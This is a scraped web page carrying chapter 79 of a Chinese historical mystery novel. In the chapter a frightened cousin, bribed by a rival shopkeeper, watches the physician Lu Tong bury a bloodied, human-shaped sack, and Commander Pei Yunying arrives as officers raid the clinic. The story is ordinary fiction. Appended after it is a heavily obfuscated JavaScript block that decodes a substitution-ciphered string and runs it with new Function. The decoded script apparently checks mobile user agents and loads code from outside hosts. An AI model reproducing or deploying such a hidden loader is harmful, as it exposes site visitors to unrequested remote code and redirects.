首页
第七十九章 殿帅捉凶
返回
关灯 护眼:关 字号:小

第七十九章 殿帅捉凶

章节报错(免登陆)

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    这一日过得分外煎熬。
    许是心中有事,夏蓉蓉一整日都心神不宁。杜长卿来关心过她几回,夏蓉蓉只推说自己身子疲累,歇息歇息就好。
    到了夜里,杜长卿和阿城回家去了,铺子里只剩她们和陆瞳主仆。香草点上灯烛关好屋门,一回头,见夏蓉蓉缩在榻上,手里还紧紧攥着一把银色剪子。
    “小姐,您不用这般紧张。”
    “她就住隔壁,”夏蓉蓉压低声音,“我今日一见她的脸都觉瘆得慌。香草,万一她怀疑我们发现了她做的事,对我们灭口怎么办?”
    香草无奈。
    自家小姐什么都好,就是胆子太小了,一有风吹草动就自个儿吓自己。她有心想换个话头,好叫夏蓉蓉转过注意力,便指着夏蓉蓉腕间那只玉镯笑了笑。
    “小姐不必担心,白掌柜都说了,不会有事的。您看白夫人送您的这只玉镯,成色剔透,怎么也得小百两银子。出手如此大方,可见他们是有心交易,定不会放着您不管。”
    夏蓉蓉闻言,埋怨了一声:“别提了,早知如此,今日一早我就该与你搬出医馆,不该去找白守义,也不该答应他盯着陆瞳了。”
    话虽这般说,指尖却抚过腕间的镯子,玉料冰凉温润,在灯下泛着柔和的光,令她看得有些舍不得转开眼。
    决定和白守义合作赶走陆瞳,是在一段时间前了。
    说起来,那也与陆瞳有关。
    之前有一天夜里,夏蓉蓉去厨房找水,无意间瞧见陆瞳对着一只死兔子发呆。虽当时陆瞳说是兔子误食了毒草,但夏蓉蓉总觉得,那只兔子是陆瞳故意毒死的。
    想到杜长卿信任陆瞳,未必会相信她这个表妹的话。夏蓉蓉便在香草提议下,将此事写信告知了杏林堂的掌柜白守义。
    没想到白守义竟找文佑给她捎了话。
    文佑说,此事白守义已知晓,但毒死一只兔子并不是什么大罪。不过,他完全能体会夏蓉蓉当时的震惊与恐惧。白守义让夏蓉蓉暂时勿将此事告诉杜长卿,免得打草惊蛇。不如再观察几日,若发现陆瞳其他可疑举止,仍可去白家叫人给他带话,他很乐意帮忙。
    文佑说完后,又塞了一张银票给夏蓉蓉。
    托那张百两银票的福,昨夜夏蓉蓉瞧见陆瞳一身是血时,才会着急忙慌地第一时间找人去杏林堂带话。
    夏蓉蓉本想着将此事告诉白守义,自己就尽快搬出医馆先躲避几日,未曾想这一次,竟是白守义亲自找到了她。
    白守义站在她面前,慈眉善目,一手理着腰间彩色丝绦,语气难得有几分郑重,“夏姑娘,你怀疑陆大夫杀人,可有证据?”
    “那件血衣、还有她深更半夜外出,这不能成为证据吗?”
    “可以,但还不够。”
    “不够?”
    白守义沉吟:“夏姑娘,白某有一个不情之请,还望您能帮忙。”
    她嗫嚅着嘴唇:“什么?”
    白守义要她留在医馆。
    “如果陆瞳真杀了人,一定会留下蛛丝马迹,杜长卿每日傍晚回家,只有夏姑娘你在医馆能时时盯着她。夏姑娘能否留在医馆,一旦觉出不对,立刻遣人告诉白某。届时人证物证俱在,事情就好办多了。”
    夏蓉蓉本能地想拒绝:“我不行……”
    白守义拉过她的手,吓了夏蓉蓉一跳,紧接着,他将一个羊脂玉镯套在了夏蓉蓉腕间。
    “夏小姐,”他深深叹了口气,“这不止是为了白某一己私心,也是为了杜家少爷,你总不能眼睁睁看着杜家少爷藏匿一个杀人凶手在身边吧?”
    夏蓉蓉目光凝在那只漂亮的玉镯上,拒绝的话便说不出口了。
    屋中灯火摇曳,玉镯冰凉的质感将女子思绪重新拉了回来。
    夏蓉蓉揉了揉额心,真说起来,她才不是为了杜长卿的仁心医馆,也不是为白守义的花言巧语,而是为了这只漂亮昂贵的镯子,才会鬼迷心窍的。
    香草把灯烛放在小几前,“小姐歇着吧,快亥时了。”
    “不是要盯着隔壁么?”
    香草“噗嗤”一笑:“那小姐也不能不睡觉吧?再者,陆大夫真有什么,也不能夜夜都出门呐。您歇着,我在这头守着,真有动静,奴婢叫醒您。”
    她语调轻松,或许是因为无论是陆瞳毒死兔子,还是陆瞳夜半脱下血衣,她都没有亲眼看见,因此也毫无惧色,总觉得是夏蓉蓉夸张了。
    夏蓉蓉见她神色自若,心里也稳妥了些,脱鞋上榻,躺了下来。
    如今她已答应了白守义,倒是不好中途反悔。只是一想到隔壁或许住着个杀人凶手,难免毛骨悚然。她有心想告诉杜长卿此事,却担心杜长卿不相信自己。但若不说,又怕哪一日杜长卿也成了陆瞳的刀下亡魂。
    毕竟杜长卿是她的表哥,对她也不错。
    这般犹豫思索着,一阵困意袭上眼前,不知不觉,夏蓉蓉渐渐睡着了。
    不知过了多久,院中传来“咚”的一声闷响,夏蓉蓉一惊,一下子睁开眼。
    屋中一片漆黑,灯已经灭了,只有月光透过窗隙在屋中洒下微弱亮光。
    她起身,低声唤:“香草?”
    “奴婢在。”丫鬟摸索着爬了过来,在榻上握住她手。
    “你刚才听到了什么声音没有?”
    “听见了,小姐,您别出声,奴婢去瞧瞧。”说罢,香草自己摸索着朝窗前走去。
    香草一向胆大,夏蓉蓉并不担心,只看着婢子一点点摸到了屋中窗前。
    香草没敢点灯,唯恐被人发现,连呼吸都是压着的。她将脸凑到窗前,借着窗缝往外看,只留给夏蓉蓉一个背影。
    院中似有沉闷响声传来,这声音很轻微,然而在一片死寂的夜里,像是拖长的梆子,带着几分诡异悠长。
    夏蓉蓉等了许久也没等到香草回应,心中焦急得很,又不敢出声,想了想,干脆下了榻,也如婢子一般摸索着走到了窗前。
    待走得近了,方才看清楚,香草的眼睛紧紧抵着窗缝,从来满不在乎的神情此刻惊愕莫名,大滴大滴汗珠从她额上滚落下来,让她看起来像是一截正在融化的雕像。
    夏蓉蓉心中“砰砰”跳着,咬了咬牙,屏住呼吸,也把眼睛贴上窗缝,想要看清楚香草究竟瞧见了什么。
    于是她看见了——
    月亮被云层掩映,只留下一层灰蒙蒙暗影。隔壁窗下,那棵嶙峋的梅树下,有人正弯腰挖着树下的泥土。
    夏蓉蓉一怔。
    这实在是一幅诡异的画面。
    这样的深夜,为何要挖树呢?
    树下有什么?
    她又往前探了一探,努力要将树下人的动作看得更加清楚。只见梅树边已经挖出一方四四方方的深坑,坑洞也是黑黝黝的。两个面目模糊的女子手里拿着铁铲,平静地、正一点点将那方坑洞挖得更加完整。
    夏蓉蓉隐隐约约看见对方身边不远处,似乎还有一团模糊的东西。
    她们是要埋什么东西吗?
    铲子砸到泥土中发出的闷响在夜里混沌又凄凉,夏蓉蓉正狐疑地想着,忽而外头起了狂风。风把树枝吹得歪斜,把翻滚的云层轰然吹散。
    刹那间月光重见天日,照清楚了夜晚,也照清楚了院落中、深坑前的黑影。
    一方半人长的口袋。
    口袋静静躺在小院树下,里头鼓鼓囊囊不知装的什么,然而惨白的月光太明亮,将布袋上丝丝渗出的血迹照得一清二楚。
    夏蓉蓉瞳孔一缩,骤然后退一步,额上顿时沁出一层冷汗。
    她抖着唇,无声地唤:“香草。”
    香草回头,惊惶的目光与她撞了个正着。
    那血迹斑斑的布袋皱成一团,偏又隐隐勾勒出一个模糊的轮廓。
    ——依稀是个人形。
    院中诡异的敲击声停止了。
    有人站在挖好的深坑前,对着那只渗血的布袋一踢,袋子“咕噜噜”滚进了深坑中,发出一声闷响。
    女子不紧不慢地拿起铁铲,一铲一铲朝坑里填着土。
    远处似有什么器皿摔倒的声音,很快又归于沉寂。
    身侧有人低声地问:“姑娘,刚才是不是有什么声响?”
    女子抬眸,望向漆黑小院深处。
    石阶前小屋门窗紧闭,一丝光亮也没有,唯有森森风声凛冽。
    她收回视线,道:“没什么。”
    ……
    盛京的秋总是宏丽。
    贡院中死了个读书人,礼部官员被查办,审刑院的范青天原是个无耻贪婪的狗官……这些寻常事不过只在平人百姓嘴里言说几句,成为茶余饭后的谈料,却耽误不了寻常的日子活计,更耽误不了民间迎中秋的热情。
    还有三日就是中秋了。
    西街的酒坊上了新酒,打酒的客人络绎不绝。杜长卿一大早就去鱼市挑螯蟹。
    螯蟹要挑大的,壳背最好黑绿发亮,这样的蟹肉厚,且八九月里,雌蟹美于雄蟹。杜长卿对别的事情一向敷衍,唯有对吃喝玩乐一事格外用心。
    陆瞳也被叫起来,和银筝阿城一起准备中秋的月团。
    这个时间,家家都忙着准备赏月团宴,来医馆瞧病买药的人很少。陆瞳的厨艺实在一般,调馅的活就落在了银筝和夏蓉蓉主仆二人身上。因知陆瞳喜甜,银筝就往馅料里多放了些蜂蜜糖汁。
    杜长卿下午买完螯蟹回来时,医馆几人还在铺子里做月团。
    他把两筐螯蟹放在一边,侧着身子往里走,见陆瞳正把一个大月团往模具中塞,动作之粗鲁,行为之笨拙,实在让人很难不多看几眼。
    他站在陆瞳背后,幽幽开口:“陆大夫,你这是在拍泥巴?”
    陆瞳没搭话,把模具往圆滚滚的面团子中用力按了按。
    模具是阿城和银筝一起挑的,上绘月宫蟾兔之形,取阖家团圆之意。陆瞳按下去后,剥开多余的面团,完整的图案就印在月团中。
    杜长卿看得欲言又止,终是把目光投向了另一边的夏蓉蓉,叹气道:“真是难为了我表妹。”
    夏蓉蓉今日倒是不避着陆瞳了,只是脸色看起来不怎么好,不知是不是这几日变天受了凉,整个人一幅心神不宁的模样。
    杜长卿疑心她是不是身子不舒服,多问了两句,夏蓉蓉便站起身,端起已经做好的生月团站起身,低头道:“我先去拿进厨房烤一烤。”又唤上香草跟着一起,掀开毡帘去里间了。
    杜长卿望着她的背影,摸了摸下巴:“怎么觉得最近她古里古怪的。”他问陆瞳几人,“你们有这种感觉吗?”
    众人摇头。
    他便自语:“莫非是我多心?”随即又一拍脑袋:“算了,先干正事。”他从旁捡了个空篮筐,一面往里抓了些果盘里的橙橘栗子,又将几只绑了腿的螃蟹扔进去,末了,装上一小坛桂花酒,空篮子便显得沉甸甸的。
    杜长卿又从店门口的旗子上剪了块红布条,绑在篮筐提手上,打了个漂亮的结,篮筐就多了几分色彩。
    他把装点好的筐子往桌上一顿,招呼阿城:“走,跟我上老胡家一趟,马上八月十五了,节礼还没送。”
    杜老爷子死后,每年中秋,杜长卿都要送胡员外些便宜节礼,以报答他照拂生意之恩。
    今年医馆赚银子了,节礼就丰厚了许多,要在往年,可没有这么大的螯蟹给他。
    阿城挠了挠头:“东家,胡员外今夜不在家啊。”
    “嗯?为什么?他这么大把年纪还敢夜不归宿?”
    “昨日他不是说了吗?吴大哥的尸身送回来了,他和诗社的人在吴家,帮着料理丧事哪!”
    ……
    “吴有才的尸身现在何处?”
    “傍晚送回吴家了。”
    殿前司里,亦有人在谈论这桩官司。
    已至秋日,院子里桂花树开了,摇曳树影映在竹帘上,秋色也染上一层寒香。
    雕花窗前,有人正坐着,半窗佳月洒下阵阵清光,将年轻人精致的眉眼渡上一层冷色。他眼底笑意不如往日真切,一言不发地盯着手中文卷,目光有些复杂。
    在他对面,殿前司副指挥使萧逐风沉声开口,“刑狱司已打点周全,陛下此次彻查朝举,礼部上下一干被牵连,我们的人替上去正好,你还有什么疑处?”
    贡举这件案子,进行得比所有人预想中顺利。
    明面上是科举舞弊,实际皇帝借此彻查近些年朝中招权纳贿、卖官鬻爵之风。且各方势力下场,礼部侍郎是太子一派,如今太子与三皇子间正是明争暗斗,三皇子岂能放过这个机会?连带所有涉案之人都不可能轻放。
    对他们来说,是渔翁得利之事,但裴云暎看起来却并无半丝轻松。
    裴云暎放下手中文卷,望着桌上灯烛,哂道:“你不觉得太巧合了吗?”
    “何处巧合?”
    “贡举中有读书人在号舍自戕,闹出动静,正好传出院外,短时间里,除去枢密院不提,兵马司刑狱司三衙都得到消息。礼部涉案官员被查,审刑院官差去死者家中闹事,激起读书人与官府间矛盾,紧接着读书人拦轿,御史上奏朝堂,审刑院被查……”
    他拿起桌上烛盏,盯着跳动的火苗,眼底掠过一丝深意。
    “死了个读书人,无论如何闹不到如此地步。其中每一步都似有人背后推波助澜,否则在贡院出人命的一开始,以礼部的手段,就该把此事压下了。”
    萧逐风皱眉:“你怀疑是三皇子背后指使?”
    裴云暎摇头:“三皇子生性自负,不会将安危系于一平人之身。”
    恰好段小宴此时捧着绣服进来,闻言插嘴道:“那说起来还得多亏了太府寺卿那位夫人不是。要不是她以为中毒之人是她宝贝儿子,在贡院门口和主考拉扯,又一赌气叫来兵马司当差的妹夫,让贡院的人连个遮掩的机会都没有,怎么可能有后面这一连串的大戏?”
    他说得随意,裴云暎却眉眼一动。
    他略一思忖,瞥一眼段小宴,问:“那个死了的读书人情况,你知道多少?”
    段小宴平日里最喜欢记这些琐事,闻言立刻滔滔不绝:“你说那个吴秀才?他也是个可怜人,和他娘相依为命,平日里就在西街鲜鱼行里杀鱼讨生,听说原本是考状元的苗子……”
    他兀自说得唾沫横飞,冷不防被裴云暎打断。
    “西街?”
    “是啊,西街。”段小宴道:“西街怎么了?”
    倒是一边的萧逐风,见状似有所悟,看向裴云暎,“那位女大夫坐馆的仁心医馆,就在西街。”
    段小宴愣了一下:“这和陆大夫有什么关系?”
    裴云暎没说话。
    一瞬间,毫无头绪的线团仿佛找到了线头,一切模糊都变得清晰起来。
    死去的儒生吴秀才,是西街鲜鱼行杀鱼的读书人。
    将贡院自戕案闹大的太府寺卿董夫人,曾请陆瞳替他儿子看过肺疾。
    锒铛入狱的审刑院详断官范正廉,不久前,陆瞳曾为她夫人施诊登门范府。
    每一处链接的节点,都正好、恰好地出现了陆瞳的影子。
    烛盏中火苗轻晃,将人的影子悠然拉长,年轻人静静看了良久,倏地笑了。
    “原来如此。”
    原来她绕了这么大一个圈子,是为了这个。
    什么“纤纤”,什么药茶,一步步接近赵飞燕,甚至更早在万恩寺救下董麟,或许从一开始,身在其中的人就已不知不觉步入她局。
    真是耐心又谨慎。
    段小宴的声音从一旁传来:“你怀疑贡举场上的案子,和陆大夫有关?”
    “不是怀疑。”
    裴云暎放下手中烛盏,微微冷笑道:“此事一定和她脱不了干系。”
    话音刚落,外头传来侍卫青枫的声音:“主子。”
    “讲。”
    青枫犹豫一下,道:“刚刚军巡铺屋收到消息,有人举告西街仁心医馆内杀人埋尸,步军巡检正带人去西街拿人。”
    此话一出,屋中三人都是一顿。
    前头才说贡举一案和陆瞳有关,现下就收到巡检去医馆拿人的消息。
    段小宴张了张嘴:“不会真是陆大夫干的吧?”
    裴云暎沉吟片刻,问:“何人举告?”
    “西街杏林堂掌柜白守义。”
    白守义?
    他微微扬眉,一瞬明白过来。
    萧逐风看向他:“要我走一趟吗?”
    城中治安巡警一事,其实交给军巡铺屋也就罢了,但事关仁心医馆,又或许和贡举一案有关,免不了多上几分心。
    裴云暎笑笑,起身拿起桌上长刀佩紧,淡道:“我去吧。”
    ……
    天色暗了下来。
    进了秋,一过傍晚,西街沿街灯笼就一盏盏亮了起来。
    西街不如城南热闹,今夜晴月,月色朗朗,照得老城墙也泛着一层雪亮。
    杜长卿同阿城站在医馆门口,正打算关门回家,忽然听得街道尽头传来一阵马蹄声。
    马蹄声急促,在寂静秋夜中如一道急鼓,听得人心惊肉跳。杜长卿下意识回头,就见一群穿皂衣的巡检铺兵自远而近奔来,又在医馆门口“驭”地一声勒马停步。
    为首的是个戴帽子的巡检,生得凶神恶煞,不顾杜长卿和阿城二人尚站在眼前,下马自顾走到医馆门口,把大门一推——
    “哎哎哎,官爷这是干什么?”杜长卿茫然之余不忘堆出一个笑,“这大晚上的要买药,知会一声就行,不必亲自劳动……”
    巡检差头一把将他推开,喝道:“巡检司办案,无关人士暂避!”
    杜长卿愕然:“办案?”
    这时候,医馆里铺点上灯烛,陆瞳擎着灯盏和银筝一同走了出来,似被这外头动静惊动,站在门口,疑惑望向众人。
    “这是…….”
    见出来的是两个年轻女子,差头脸色比方才稍缓和了些,语气仍冷酷,只道:“有人举告你们医馆杀人埋尸,巡检司奉命缉查办案!”他一扬手,身后铺兵便一拥而上,团团将人围住。
    杜长卿定了定神:“这一定是弄错了,我们这是医馆,怎么可能杀人埋尸……”
    他的话被陆瞳打断了。
    陆瞳站在医馆门口,看向为首的官差,平静开口:“既是奉命办案,仁心医馆自当配合。只是我们也是入了籍的正经商铺,大人要办案,能否让我们看看巡检手令?”
    军巡铺屋的申应奉一滞。
    他收到消息,立刻就往带人赶往西街,哪还来得及去拿手令。如今盛京贡举一案后,朝中震荡,若他能在这时候办成一桩漂亮案子,升官指日可待。
    而一般办案时,平人也不会特意问起手令,谁知道这女子会突然提起?
    正僵持着,忽而身后传来一声:“这里。”
    这声音来得突然,众人循声回头望去。
    桂枝香气扑鼻,明月斜上梢头,迢迢良夜里,有人驭马驰行。
    年轻人在西街门口提缰勒马,下马朝医馆走近,四周铺兵渐次让开,檐下朦胧灯色照亮了他绯色衣袍,也照亮了他俊美的眉眼。
    申应奉一愣,随即狂喜:“裴大人!”
    陆瞳心下一沉。
    又是那个阴魂不散的裴云暎。
    裴云暎在陆瞳身前站定,取下腰间令牌,在她面前晃了晃,旋即笑道:“陆大夫的《梁朝律》,果然背得很熟。”
    短暂的沉默后,陆瞳抬眸,看向眼前青年。
    “裴殿帅。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();